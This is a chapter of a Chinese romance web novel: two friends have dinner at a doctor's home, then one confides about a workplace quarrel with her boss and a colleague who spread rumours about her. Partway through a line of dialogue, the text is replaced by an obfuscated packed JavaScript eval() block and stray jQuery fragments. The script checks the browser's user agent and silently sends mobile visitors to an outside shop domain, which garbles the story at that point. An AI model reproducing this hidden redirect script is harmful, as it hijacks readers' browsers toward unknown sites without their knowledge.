-
陈洱的白色小电驴悠悠停在单元楼下,后边坐着祝西意。
“到了到了。”
见祝西意没反应,陈洱回头喝了一声“嘿美女!”
“发什么呆呢!”
祝西意听声音抬头“啊。”
她拉了拉背包带,下车站到一边等。
陈洱踢下脚撑,拔钥匙“何医生的家往哪走啊,对了,你还要回趟家不?”
东张西望的陈洱一眼就看到拎着红色塑料袋装回来的人“欸,那不是——何医生!!”
她热络地呼喊,摆手示意这里有两个人在等。
累得灵魂出窍的何文寓还有点恍惚,直到看见祝西意垂头的侧影才反应过来。
他堆出笑容示意。
“走走走,何医生回来了。”陈洱挽上祝西意,把人从绿化坪的防护石上拉下来。
“吃什么啊今天。”陈洱探着头去看袋子里的东西。
何文寓敞开袋口介绍“让同事帮忙找的本地藏猪猪肘,还没吃过,想试试红烧。”
走在楼梯最后的祝西意,没参与进前边的闲聊。
把门打开后,何文寓站在门把手边让她们先进去。
见祝西意还沉浸在自己的世界,面上沉寂而呆滞。
他想问又怕陈洱听见,跟在后边关门时才小小声问“你怎么了?”
“嗯?”祝西意偏过头看他,显然没听进去。
“……先去坐吧,菜还得一会。”
陈洱早就坐下了,她等祝西意过来坐时,悄悄询问“何医生怎么就住你隔壁啊,这不是你最讨厌的跟同事低头不见抬头见吗?”
“对。”
“你咋了,怎么感觉不太在线,中午加班没睡午觉困的?”
陈洱直接给她倒了杯桌上的水,见何文寓从厨房出来,陈洱摆摆手让他回去不用招待。
何文寓看到祝西意的双目空洞,关心却不好当面说出口,感觉帮不上忙的自己站着都像碍眼。
他先退回厨房关门,隔绝油烟,也留给祝西意跟朋友诉说的空间。
陈洱看了一眼门的关上,她往祝西意身边坐近了点“想说吗,是不是你们主任又闹幺蛾子?”
厨房开始炒菜,油烟机轰隆隆地吵。
“还是你那个前男友还在骚扰你?”
祝西意缓缓点头,又摇头,随即肩膀跟着一口气的舒出重重下沉。
“晚点跟你说。”
脑袋因为整天的待机够痛了,刚才还跟王中秋吵了场架,祝西意还不太敢相信那个牙尖嘴利的自己又回来了。
吵架让祝西意肾上腺素飙升,脑子飞速运转到阵阵发痛。现在结束的身体反应就像是精疲力竭,对外界会有点迟钝很正常。
陈洱则起身在何文寓家里象征式转了两圈,才有种来做客的意思。
前边的炒菜出来得快,肘子还在高压电锅里炖。
何文寓不知道什么时候出来脱的外套,里边就穿了一件白色运动长袖。
陈洱娴熟地摆放碗筷,凑近闻了一圈的热菜香,陶醉闭眼“本小姐会好好吃掉你们的!”
电脑桌的人体工学椅被何文寓拖过来,他坐到两人的对面。
“先吃,待会肘子好了我端出来。”
祝西意闻言放下手机,才看到自己面前已经摆好了碗筷。
空碗被她盯了一秒,对面的人来拿走,开始替她盛饭。
一旁早就等着的陈洱狐疑地看了一眼何文寓的优先动作,更发现祝西意的脸上居然没有意外。
“呵呵我自己来,自己来……”陈洱没让何文寓紧接着给自己盛。
“天呀,何医生你做菜这么好吃。”
陈洱夹起面前白盘里的凉拌口水鸡,攥着筷子就鼓掌,忍不住摇头晃脑。
“……好吃吗,好吃就行。”何文寓弱弱地笑,他没好意思在祝西意面前说,自己买的其实是调料包,撕开直接淋的红油。
祝西意吃饭一贯沉默少言,她夹的是脆皮鸡翅。
咔哧的酥脆引得陈洱赶紧给自己夹一个“哇!哇!这怎么做的,这么香!”
何文寓温吞地咽下饭,想了想“用油多炸几遍,调的面粉糊要在裹时薄得能看见鸡翅皮。”
这边可没有什么鲜鸡卖,冷冻柜大量摆着硬邦邦的冻鸡,何文寓没得挑,只能做法上用心点。
祝西意吃到东西,有了饱腹感,精神也开始恢复,眼睛转动“确实挺好吃的。”
她坐到桌子上说的第一句话,在何文寓这里跟逗狗棒一样有用。
何文寓眼里发亮,积极接话“真的吗,我还怕不合你胃口呢,也没敢做的太辣,你试试这个口水鸡,应该还行,如果不能接受我下次就不买这个调料——”
“……就不调这个料。”
他紧急改口,看到陈洱一脸替自己尴尬的笑容,恨不得上手掌自己嘴。
叽里咕噜说的什么,陈洱八卦之魂瞬间燃烧。
“感谢西意,要不是你,我真吃不上何医生的饭。”她嘻嘻地笑看两人。
趁祝西意还没反应过来,陈洱接着扒碗,大快朵颐。
厨房高压电锅滴滴响,何文寓拍桌起身“……我去端菜。”
厨房门又一次合上,陈洱嚼着赶紧凑过去,跟祝西意开启悄悄话“老实交代,坦白从宽,抗拒长肥肉!”
“吃饭少说话。”
“嗯嗯,你吃饭少说话,我不用。”陈洱敷衍地点头,示意祝西意接着说。
“……”
“你多吃点。”
祝西意难得给人夹菜,陈洱看着自己碗里眼睛一眯,有鬼。
“你不会已经答应何医生了吧?!”
猜测得大胆,陈洱嚯得后仰身体,生怕自己猜对了。
祝西意淡定摇头“想多了,只是朋友。”
一门之隔,还是玻璃门,虽然做了模糊效果,但何文寓趴上边听的轮廓是不是太明显了?
祝西意瞄到后,不得已澄清给两个人听。
“是吗?”
陈洱不信,她看着祝西意吃饭的动作,突然来一句“但你不觉得他像是在讨好你吗?特别像宋加明那舔狗。”
喉咙里呛了口吞咽的动作,祝西意咳得差点喷饭。
陈洱吓一跳,端起水杯就送过去,一边给她顺气“没事吧!”
何文寓在玻璃门上的身体顿了顿,听到她呛咳差点下意识拉门冲出去,最后又硬生生将那只手放到身后。
装没听见才行,是朋友就行。
餐桌上,祝西意终于不咳了,她喉咙里被呛得火辣,端着那杯水正在喝。
何文寓用脚挪开厨房的推拉门,装进双耳汤锅里的肘子肥美。
陈洱一下站了起来,拿着筷子恭迎。
“肘子大人,您请落座。”
何文寓撒开手,马上瞧了眼在喝水的祝西意。
恰巧她也看过来,把何文寓看得又快速低下眼睫。
他坐下来接着吃饭,看到陈洱已经啃着猪肘子的肉块。
“香!”豪爽的声音单纯的在享受美味,压根没察觉桌上的氛围。
“我靠这才是人吃的,以后我就跟着西意混,有肉还能一块吃!”
祝西意撞了下陈洱的膝盖,咚得一小声连何文寓都听见了。
“噢噢不是,我意思是,大家都是朋友嘛,下次有饭吃,我一定来蹭!”
陈洱用词好像还是不对,她咽了咽嘴里的肘子肉,抱歉地看西意。
“西意,还好你不怎么去食堂,听说准备要从六菜变四菜了,价格还是一样,贱不贱吧你就说。”陈洱岔开话题。
“平时份量没多少,还得减菜,真不懂补贴食堂的钱都哪去了。”
祝西意已经吃到结尾,眼看碗里又进来一个鸡翅,何文寓用公筷给她夹的,示意她接着吃,吃饱饱的。
“……是吗。”她回答陈洱的牢骚,眼睛在何文寓那里,犹豫一会还是夹了起来。
“对啊!唉真不是我说,干脆我也去你家搭伙吃饭得了,本来补贴就少,还吃不饱,苍天大地啊!谁能为我们志愿者谋点餐补福利!”
陈洱朝天花板呐喊,然后打了个饱嗝拍肚皮。
“不去食堂是因为菜比较辣?”何文寓见缝插针地问了一句。
陈洱点点头“对啊,川菜大部分都辣一点,厨师还特别喜欢用各种辣椒,青菜都得放!像西意就吃不了太辣的东西,何医生你做的这桌菜就很好,不辣但香!”
陈洱竖着大拇指在桌上转了一圈,最后到祝西意鼻尖前“是吧西意?”
她贼贼地偷笑,直到大拇指被祝西意用纸巾裹上。
“吃完饭记得擦手。”
何文寓笑出声,他发现祝西意的在一些对话环境下,冷幽默得很有功底。
但桌对面的两人齐齐看向他,脸上表示疑惑。
“不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721653|208689||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我只是觉得……”何文寓坐直了身子,夹菜的动作停在半空,想解释又卡壳。
“好啦,懂的,懂!”陈洱摆摆手,一副见怪不怪的样子。
能理解何医生这种花痴,见到祝西意说啥做啥都能找出喜欢的笑点。
-
“感谢款待!”
“先走了。”
陈洱跟祝西意在楼道里道别,何文寓把着门觉得时间怎么过的这么快,人刚要走,自己就觉得累,祝西意是不是抠走了他身上的电池。
“真的不需要帮你带垃圾吗?”
吃人嘴短,祝西意准备走时说要帮他丢厨房垃圾,但被收拾着的何文寓直摆手。
“不用!”
陈洱已经走下一层了,她倒回去张望“走不走嘛!”
祝西意见状又跟何文寓点了点头,往下走去。
“……拜拜。”何文寓慢半拍似的,还想问什么,但她已经彻底消失在楼梯拐角。
-
“对了,你还没说呢,到底啥事啊白天。”陈洱蹦出单元楼,一回头祝西意刚刚下到一楼。
“走吧,转几圈跟你说。”祝西意又把手插进口袋里,习惯性开始戴连衣帽。
整个小区现在处于将黑未黑的天色,吃完饭出来已经21点多,蓝黑的天空很快就会在接下来的十几分钟变成全黑。
篮球场兼停车场的位置还有几个小孩在玩篮球,砸来砸去不小心滚到她们脚边。
陈洱俯身拍了两下,抛回去“还你!”
“说吧,怎么了?”
一浅一深的背影走得缓慢,祝西意只是在小区通行车道上绕。
“我跟王中秋大吵了一架。”
看着冷冷的脸冒出来的话也这么惊人,陈洱弹到一边“我去牛叉啊你!”
整个县的单位干部谁不知道王中秋的脾气,那可是敢在县长桌上拍桌谈条件的女人,路过的狗都得被她骂两句没用。
谁工作上有求于她了,孙子都不如。
谁得她赏识了,土皇帝也不过如此。
“什么情况啊,能让你个淡人发脾气?”
真不是陈洱说假话,她从去年八月开始认识祝西意,也快一年了,真没见她动过什么大气。
祝西意冷着脸就足够劝退不少刁难,志愿者们面对她的反应淡淡都习惯了。
“李静知道吗?”
“知道啊!你们系统里那个大喇叭呗,每次讲话都恨不得周围人听见。”
李静用职务之便谋私的勾当,佩姐在办公室传过,祝西意也知道点严重性,但并不觉得能殃及到自己身上来。
她本本分分地呆在办公室干活,王中秋指使的都能按时按质完成。
就因为这样的老实,才把自己推出去给李静卖点惨回来?
“她造我谣,还让王中秋给她做主,被我听见了,就没忍住跟王中秋还有她都吵了一架,最后事情解决了,通报要下,但我以后估计没好果子吃。”
本就不占理的李静,因为嘴皮子上得了王中秋的真传,虽被纪检调查中,但免掉了内部先通报处理的处罚。
为了不让李静继续在系统内的名声变坏,取消她的主持也合理。
只不过王中秋为了不解决李静被传闲话的牢骚,将祝西意推了出去,让李静有地方撒气,别来找自己。
这样的闲话其实从祝西意接主持工作那天便开始了,只不过越传越烈,最终才在现场有了压不住的声音。
如果不是何文寓先站出来,恐怕这样的争论在祝西意背后能被李静带得犹如洪水之势,吞没祝西意一个毫无背景的志愿者。
“啊?”陈洱很少听她话这么多的时候。
反应了一会,才喷出脏话好几句。
“早踏马看那李静像傻叉,之前去我们那套文件红头,拽得跟个二五八万一样,我又不是她下属,一直在我们办公室指挥。”
陈洱服务单位是政办,除了宣传、组织等属于县直属,卫生委这类都是属于陈洱那个服务单位在管。
本来志愿者在单位够底层了,陈洱还被下属部门的下属单位来人指着鼻子教,年轻心态下自然不服。
“不过你也挺牛的西意,能把王中秋那种人的决定变了个方向,以前是我小瞧你了,以后你骂人别误伤我。”陈洱打趣地拍她。
“怎么可能。”
“我又不是谁都骂。”
何文寓那……沙鸟算吗?